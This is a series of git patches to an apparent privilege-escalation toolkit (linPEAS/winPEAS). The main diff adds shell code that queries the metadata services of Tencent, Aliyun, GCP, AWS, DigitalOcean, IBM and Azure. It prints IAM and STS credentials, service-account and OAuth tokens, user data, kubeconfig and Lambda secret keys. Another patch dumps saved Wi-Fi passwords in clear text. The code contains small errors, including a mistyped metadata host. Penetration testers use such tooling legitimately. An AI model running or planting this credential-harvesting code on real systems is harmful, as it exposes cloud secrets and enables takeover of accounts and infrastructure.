"AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_do +print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aliyun_ecs +print_list "Aliyun ECS? .......................... $is_aliyun_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_tencent_cvm +print_list "Tencent CVM? .......................... $is_tencent_cvm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_ibm_vm +print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_az_vm +print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_az_app +print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," + +echo "" + +if [ "$is_tencent_cvm" = "Yes" ]; then + tencent_req="" + if [ "$(command -v curl)" ]; then + tencent_req='curl -sfkG' + elif [ "$(command -v wget)" ]; then + tencent_req='wget -q -O ' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + + print_2title "Tencent CVM Enumeration" + print_info "https://cloud.tencent.com/document/product/213/4934" + # Todo: print_info "Hacktricks Documents needs to be updated" + + echo "" + print_3title "Instance Info" + i_tencent_owner_account=$(eval $tencent_req http://169.254.0.23/latest/meta-data/app-id) + [ "$i_tencent_owner_account" ] && echo "Tencent Owner Account: $i_tencent_owner_account" + i_hostname=$(eval $tencent_req http://169.254.0.23/latest/meta-data/hostname) + [ "$i_hostname" ] && echo "Hostname: $i_hostname" + i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-id) + [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" + i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/uuid) + [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" + i_instance_name=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-name) + [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name" + i_instance_type=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance/instance-type) + [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type" + i_region_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/region) + [ "$i_region_id" ] && echo "Region ID: $i_region_id" + i_zone_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/zone) + [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" + + echo "" + print_3title "Network Info" + i_pri_ipv4=$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/primary-local-ipv4) + [ "$i_pri_ipv4" ] && echo "Primary IPv4: $i_pri_ipv4" + + + echo "========" + for mac in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/); do + echo " Mac: $mac" + echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/public-ipv4s) + echo " Mac vpc id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/vpc-id) + echo " Mac subnet id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/subnet-id) + + for lipv4 in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s); do + echo " Mac local ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/local-ipv4) + echo " Mac gateways: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/gateway) + echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/public-ipv4) + echo " Mac public ips mode: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/public-ipv4-mode) + echo " Mac subnet mask: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/subnet-mask) + done + echo "=======" + done + + echo "" + print_3title "Service account " + for sa in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/"); do + echo " Name: $sa" + echo " STS Token: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/$sa") + echo " ==============" + done + + echo "" + print_3title "Possbile admin ssh Public keys" + for key in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/"); do + echo " Name: $key" + echo " Key: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/${key}openssh-key") + echo " ==============" + done +fi + +if [ "$is_aliyun_ecs" = "Yes" ]; then + aliyun_req="" + aliyun_token="" + if [ "$(command -v curl)" ]; then + aliyun_token=$(curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:1000") + aliyun_req='curl -s -f -H "X-aliyun-ecs-metadata-token: $aliyun_token"' + elif [ "$(command -v wget)" ]; then + aliyun_token=$(wget -q -O - --method PUT "http://100.100.100.200/latest/api/token" --header "X-aliyun-ecs-metadata-token-ttl-seconds:1000") + aliyun_req='wget -q -O --header "X-aliyun-ecs-metadata-token: $aliyun_token"' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aliyun_token" ]; then + print_2title "Aliyun ECS Enumeration" + print_info "https://help.aliyun.com/zh/ecs/user-guide/view-instance-metadata" + # Todo: print_info "Hacktricks Documents needs to be updated" + + echo "" + print_3title "Instance Info" + i_hostname=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/hostname) + [ "$i_hostname" ] && echo "Hostname: $i_hostname" + i_instance_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance-id) + [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" + # no dup of hostname if in ACK it possibly leaks aliyun cluster service ClusterId + i_instance_name=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-name) + [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name" + i_instance_type=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-type) + [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type" + i_aliyun_owner_account=$(eval $aliyun_req http://i00.100.100.200/latest/meta-data/owner-account-id) + [ "$i_aliyun_owner_account" ] && echo "Aliyun Owner Account: $i_aliyun_owner_account" + i_region_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/region-id) + [ "$i_region_id" ] && echo "Region ID: $i_region_id" + i_zone_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/zone-id) + [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" + + echo "" + print_3title "Network Info" + i_pub_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/public-ipv4) + [ "$i_pub_ipv4" ] && echo "Public IPv4: $i_pub_ipv4" + i_priv_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/private-ipv4) + [ "$i_priv_ipv4" ] && echo "Private IPv4: $i_priv_ipv4" + net_dns=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/dns-conf/nameservers) + [ "$net_dns" ] && echo "DNS: $net_dns" + + echo "========" + for mac in $(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/); do + echo " Mac: $mac" + echo " Mac interface id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/network-interface-id) + echo " Mac netmask: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/netmask) + echo " Mac vpc id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-id) + echo " Mac vpc cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-cidr-block) + echo " Mac vpc cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-ipv6-cidr-blocks) + echo " Mac vswitch id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-id) + echo " Mac vswitch cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-cidr-block) + echo " Mac vswitch cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-ipv6-cidr-block) + echo " Mac private ips: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/private-ipv4s) + echo " Mac private ips (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6s) + echo " Mac gateway: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/gateway) + echo " Mac gateway (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6-gateway) + echo "=======" + done + + echo "" + print_3title "Service account " + for sa in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/"); do + echo " Name: $sa" + echo " STS Token: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/$sa") + echo " ==============" + done + + echo "" + print_3title "Possbile admin ssh Public keys" + for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/"); do + echo " Name: $key" + echo " Key: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/${key}openssh-key") + echo " ==============" + done + + + fi +fi + +if [ "$is_gcp" = "Yes" ]; then + gcp_req="" + if [ "$(command -v curl)" ]; then + gcp_req='curl -s -f -H "X-Google-Metadata-Request: True"' + elif [ "$(command -v wget)" ]; then + gcp_req='wget -q -O - --header "X-Google-Metadata-Request: True"' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + # GCP Enumeration + if [ "$gcp_req" ]; then + print_2title "Google Cloud Platform Enumeration" + print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security" + + ## GC Project Info + p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') + [ "$p_id" ] && echo "Project-ID: $p_id" + p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id') + [ "$p_num" ] && echo "Project Number: $p_num" + pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys') + [ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k" + p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true') + [ "$p_attrs" ] && echo "All Project Attributes: $p_attrs" + + # OSLogin Info + osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users) + [ "$osl_u" ] && echo "OSLogin users: $osl_u" + osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups) + [ "$osl_g" ] && echo "OSLogin Groups: $osl_g" + osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys) + [ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk" + osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize) + [ "$osl_au" ] && echo "OSLogin Authorize: $osl_au" + + # Instance Info + inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description) + [ "$inst_d" ] && echo "Instance Description: " + inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname) + [ "$inst_hostn" ] && echo "Hostname: $inst_hostn" + inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id) + [ "$inst_id" ] && echo "Instance ID: $inst_id" + inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image) + [ "$inst_img" ] && echo "Instance Image: $inst_img" + inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type) + [ "$inst_mt" ] && echo "Machine Type: $inst_mt" + inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name) + [ "$inst_n" ] && echo "Instance Name: $inst_n" + inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags) + [ "$inst_tag" ] && echo "Instance tags: $inst_tag" + inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone) + [ "$inst_zone" ] && echo "Zone: $inst_zone" + + inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location") + [ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc" + inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name") + [ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name" + inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin") + [ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e" + inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels") + [ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab" + inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig") + [ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec" + inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env") + [ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv" + + echo "" + print_3title "Interfaces" + for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do + echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip") + echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") + echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway") + echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") + echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network") + echo " ============== " + done + + echo "" + print_3title "User Data" + echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script") + echo "" + + echo "" + print_3title "Service Accounts" + for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do + echo " Name: $sa" + echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email") + echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases") + echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity") + echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" + echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token") + echo " ============== " + done + fi +fi + +# AWS ECS Enumeration +if [ "$is_aws_ecs" = "Yes" ]; then + print_2title "AWS ECS Enumeration" + + aws_ecs_req="" + if [ "$(command -v curl)" ]; then + aws_ecs_req='curl -s -f' + elif [ "$(command -v wget)" ]; then + aws_ecs_req='wget -q -O -' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aws_ecs_metadata_uri" ]; then + print_3title "Container Info" + exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri" + echo "" + + print_3title "Task Info" + exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task" + echo "" + else + echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info" + fi + + if [ "$aws_ecs_service_account_uri" ]; then + print_3title "IAM Role" + exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri" + echo "" + else + echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)" + fi +fi + +# AWS EC2 Enumeration +if [ "$is_aws_ec2" = "Yes" ]; then + print_2title "AWS EC2 Enumeration" + + HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" + URL="http://169.254.169.254/latest/meta-data" + + aws_req="" + if [ "$(command -v curl)" ]; then + aws_req="curl -s -f -H '$HEADER'" + elif [ "$(command -v wget)" ]; then + aws_req="wget -q -O - -H '$HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aws_req" ]; then + printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" + printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" + printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" + printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" + printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" + printf "region: "; eval $aws_req "$URL/placement/region"; echo "" + + echo "" + print_3title "Account Info" + exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" + + echo "" + print_3title "Network Info" + for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do + echo "Mac: $mac" + printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" + printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" + printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" + echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" + printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" + echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" + printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" + echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" + echo "" + done + + echo "" + print_3title "IAM Role" + exec_with_jq eval $aws_req "$URL/iam/info"; echo "" + for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do + echo "Role: $role" + exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo "" + echo "" + done + + echo "" + print_3title "User Data" + eval $aws_req "http://169.254.169.254/latest/user-data"; echo "" + + echo "" + echo "EC2 Security Credentials" + exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" + + print_3title "SSM Runnig" + ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED}," + fi +fi + +# AWS Lambda Enumeration +if [ "$is_aws_lambda" = "Yes" ]; then + print_2title "AWS Lambda Enumeration" + printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME + printf "Region: "; env | grep AWS_REGION + printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY + printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID + printf "Session token: "; env | grep AWS_SESSION_TOKEN + printf "Security token: "; env | grep AWS_SECURITY_TOKEN + printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API + printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next") +fi + +# AWS Codebuild Enumeration +if [ "$is_aws_codebuild" = "Yes" ]; then + print_2title "AWS Codebuild Enumeration" + + aws_req="" + if [ "$(command -v curl)" ]; then + aws_req="curl -s -f" + elif [ "$(command -v wget)" ]; then + aws_req="wget -q -O -" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + echo "The addresses are in /codebuild/output/tmp/env.sh" + fi + + if [ "$aws_req" ]; then + print_3title "Credentials" + CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2) + URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig + exec_with_jq eval $aws_req "$URL_CREDS"; echo "" + + print_3title "Container Info" + METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2) + exec_with_jq eval $aws_req "$METADATA_URL"; echo "" + fi +fi + +# DO Droplet Enumeration +if [ "$is_do" = "Yes" ]; then + print_2title "DO Droplet Enumeration" + + do_req="" + if [ "$(command -v curl)" ]; then + do_req='curl -s -f ' + elif [ "$(command -v wget)" ]; then + do_req='wget -q -O - ' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$do_req" ]; then + URL="http://169.254.169.254/metadata" + printf "Id: "; eval $do_req "$URL/v1/id"; echo "" + printf "Region: "; eval $do_req "$URL/v1/region"; echo "" + printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo "" + printf "User data: "; eval $do_req "$URL/v1/user-data"; echo "" + printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo "" + printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces"; + printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip"; + printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip"; + printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags"; + printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features"; + fi +fi + +# IBM Cloud Enumeration +if [ "$is_ibm_vm" = "Yes" ]; then + print_2title "IBM Cloud Enumeration" + + if ! [ "$IBM_TOKEN" ]; then + echo "Couldn't get the metadata token:(" + + else + TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN" + ACCEPT_HEADER="Accept: application/json" + URL="http://169.254.169.254/latest/meta-data" + + ibm_req="" + if [ "$(command -v curl)" ]; then + ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" + elif [ "$(command -v wget)" ]; then + ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$ibm_req" ]; then + print_3title "Instance Details" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" + + print_3title "Keys and User data" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" + + print_3title "Placement Groups" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" + + print_3title "IAM credentials" + exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" + fi + fi + +fi + +# Azure VM Enumeration +if [ "$is_az_vm" = "Yes" ]; then + print_2title "Azure VM Enumeration" + + HEADER="Metadata:true" + URL="http://169.254.169.254/metadata" + API_VERSION="2021-12-13" # https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions + + az_req="" + if [ "$(command -v curl)" ]; then + az_req="curl -s -f -H '$HEADER'" + elif [ "$(command -v wget)" ]; then + az_req="wget -q -O - -H '$HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$az_req" ]; then + print_3title "Instance details" + exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION" + + print_3title "Load Balancer details" + exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION" + + print_3title "Management token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/" + + print_3title "Graph token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" + + print_3title "Vault token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/" + + print_3title "Storage token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/" + fi +fi + +if [ "$check_az_app" = "Yes" ]; then + print_2title "Azure App Service Enumeration" + echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)" + + HEADER="secret:$IDENTITY_HEADER" + + az_req="" + if [ "$(command -v curl)" ]; then + az_req="curl -s -f -H '$HEADER'" + elif [ "$(command -v wget)" ]; then + az_req="wget -q -O - -H '$HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$az_req" ]; then + print_3title "Management token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/" + + print_3title "Graph token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" + + print_3title "Vault token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/" + + print_3title "Storage token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/" + fi +fi From 8c7f56631f03aa325994aba64276961ff6fcc332 Mon Sep 17 00:00:00 2001 From: wowlolx <104314965+wowlolx@users.noreply.github.com> Date: Wed, 31 Jan 2024 00:34:27 +0500 Subject: [PATCH 20/69] Fixed netsh command for spaces in SSIDs --- winPEAS/winPEASbat/winPEAS.bat | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/winPEAS/winPEASbat/winPEAS.bat b/winPEAS/winPEASbat/winPEAS.bat index 5478eea..1c406c8 100755 --- a/winPEAS/winPEASbat/winPEAS.bat +++ b/winPEAS/winPEASbat/winPEAS.bat @@ -363,7 +363,7 @@ CALL :T_Progress 1 :WifiCreds CALL :ColorLine " %E%33m[+]%E%97m WIFI" -for /f "tokens=4 delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.) +for /f "tokens=3,* delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%b key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.) CALL :T_Progress 1 :BasicUserInfo From 41d6a03db32a36d10e1859cb7f5bb766630aca29 Mon Sep 17 00:00:00 2001 From: md347 <688628+md347@users.noreply.github.com> Date: Tue, 13 Feb 2024 21:54:08 +0000 Subject: [PATCH 21/69] Update FileAnalysis.cs escape backslashes in regex --- winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs b/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs index 0aa85b2..275194c 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs @@ -158,16 +158,19 @@ namespace winPEAS.Checks bool is_re_match = false; try { + // Escape backslashes in the regex string + string escapedRegex = regex_str.Trim().Replace(@"\", @"\\"); + // Use "IsMatch" because it supports timeout, if exception is thrown exit the func to avoid ReDoS in "rgx.Matches" if (caseinsensitive) { - is_re_match = Regex.IsMatch(text, regex_str.Trim(), RegexOptions.IgnoreCase, TimeSpan.FromSeconds(120)); - rgx = new Regex(regex_str.Trim(), RegexOptions.IgnoreCase); + is_re_match = Regex.IsMatch(text, escapedRegex, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(120)); + rgx = new Regex(escapedRegex, RegexOptions.IgnoreCase); } else { - is_re_match = Regex.IsMatch(text, regex_str.Trim(), RegexOptions.None, TimeSpan.FromSeconds(120)); - rgx = new Regex(regex_str.Trim()); + is_re_match = Regex.IsMatch(text, escapedRegex, RegexOptions.None, TimeSpan.FromSeconds(120)); + rgx = new Regex(escapedRegex); } } catch (RegexMatchTimeoutException e) From 2f687dde1851757f0b5a3cac70c02abf722f4d69 Mon Sep 17 00:00:00 2001 From: shadowabi <50265741+shadowabi@users.noreply.github.com> Date: Fri, 16 Feb 2024 00:46:58 +0800 Subject: [PATCH 22/69] Update 3_cloud.sh Fixed an error and added an auxiliary judgment --- linPEAS/builder/linpeas_parts/3_cloud.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index 693d03d..0fb1269 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -39,8 +39,8 @@ check_aliyun_ecs () { check_tencent_cvm () { is_tencent_cvm="No" - if [ "$(cat cloud.cfg | grep tencent)" ]; then - is_tencent_cvm="Yes" + if [ -f "/etc/cloud/cloud.cfg.d/05_logging.cfg" ] || grep -qi Tencent /etc/cloud/cloud.cfg; then + is_tencent_cvm="Yes" fi } From b430fc80bdf1e00e027f2a11f3801fd65f015b00 Mon Sep 